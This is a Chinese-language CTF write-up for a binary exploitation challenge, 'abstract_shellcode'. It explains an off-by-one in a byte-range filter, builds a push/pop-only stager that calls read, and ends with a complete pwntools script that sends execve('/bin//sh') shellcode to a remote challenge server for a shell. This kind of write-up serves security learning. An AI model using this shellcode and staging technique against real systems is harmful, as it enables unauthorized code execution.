
pwn· 更新于 2024-11-28
abstract_shellcode
abstract_shellcode
checksec 一下
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
IDA 一下
main 函数要求我们输入两个字符,如果是“ye”就退出

进 func 看看,大概分为两个部分
第一部分是一个循环,每次输入一字节,跳出条件为 (s-buf)>16,即输入17个字符(划重点)

第二部分,判断输入的字符是否在 4E 和 5F 之间,如果全部符合就 call rax,也就是执行这段输入的 shellcode

重点来了,前面发现可以输入 17 个字符,但检测只检测 16 个字符,这里就有一个小漏洞了
进 gdb 调试,断在 call rax 处

分析栈结构发现
rsp +8 刚好是第一次输入的字符的地址而前面输入则是不为“ye”的两个字符
分析下寄存器

找找用得上的东西
分析完后就是构造 shellcode 了
0: 4e rex.WRX
1: 4f 50 rex.WRXB push r8
3: 50 push rax
4: 51 push rcx
5: 52 push rdx
6: 53 push rbx
7: 54 push rsp
8: 55 push rbp
9: 56 push rsi
a: 57 push rdi
b: 58 pop rax
c: 59 pop rcx
d: 5a pop rdx
e: 5b pop rbx
f: 5c pop rsp
10: 5d pop rbp
11: 5e pop rsi
通过机器码转汇编可以发现限制的 shellcode 都是 push 和 pop
而第十七个字符刚好不受限制,诶,刚好构建一个 ret
0: c3 ret
ret 去哪呢
诶,第一次输入刚好是俩字符,诶
0: 0f 05 syscall
syscall 也是俩俩字节
思路已经很明显了
1、通过 shellcode 操作寄存器和栈,以达到 syscall->read
rax = 0x0
rdi = 0x0
rsi = 某处地址(位于第一次输入之后,执行完后滑到这继续执行)
rdx = 长度(我选的是r11中的0x246)
2、构造 shellcode
0: 58 pop rax
1: 58 pop rax
2: 5b pop rbx
3: 53 push rbx
4: 5e pop rsi
5: 4f 53 rex.WRXB push r11
7: 5a pop rdx
8: 50 push rax
9: 5f pop rdi
a: 50 push rax
b: 5f pop rdi
c: 50 push rax
d: 5f pop rdi
e: 50 push rax
f: 53 push rbx
10: c3 ret
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
k = 1
if k:
p = remote('43.249.195.138','22251')
else:
p = process('./abstractshellcode')
elf = ELF('./abstractshellcode')
libc = ELF('./libc-2.31.so')
# gdb.attach(p,'b *$rebase(0x14a6)')
p.recvuntil(b'input:(ye / no)', b'\n')
p.send(b'\x0f\x05')
p.recvuntil(b'---input your pop code---', b'\n')
shellcode = b'\x90\x90\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.send(b'\x58\x58\x5b\x53\x5e\x4f\x53\x5a\x50\x5f\x50\x5f\x50\x5f\x50\x53\xc3')
p.send(shellcode)
p.interactive()
Over
评论


